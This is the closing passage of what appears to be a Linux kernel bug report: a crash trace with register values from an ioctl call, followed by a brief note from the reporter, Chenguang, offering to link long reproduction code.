> [??? 10???  4 21:32:44 2026] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
> [??? 10???  4 21:32:44 2026] RSP: 002b:00007fff72261860 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
> [??? 10???  4 21:32:44 2026] RAX: ffffffffffffffda RBX: 00007fff722619d8 RCX: 00007f4b978a31db
> [??? 10???  4 21:32:44 2026] RDX: 00007fff722619c0 RSI: 00000000c0181b01 RDI: 0000000000000003
> [??? 10???  4 21:32:44 2026] RBP: 00007fff722619a0 R08: 000055b0f4fb0ef0 R09: 000055b0f4fb0d80
> [??? 10???  4 21:32:44 2026] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff72261990
> [??? 10???  4 21:32:44 2026] R13: 0000000000000000 R14: 00007fff722619a0 R15: 000000000000001f
> [??? 10???  4 21:32:44 2026]  </TASK>
> [??? 10???  4 21:32:44 2026] ---[ end trace 0000000000000000 ]---

If the reproduction code for the issue is long, it can be placed in a link.

Thanks
Chenguang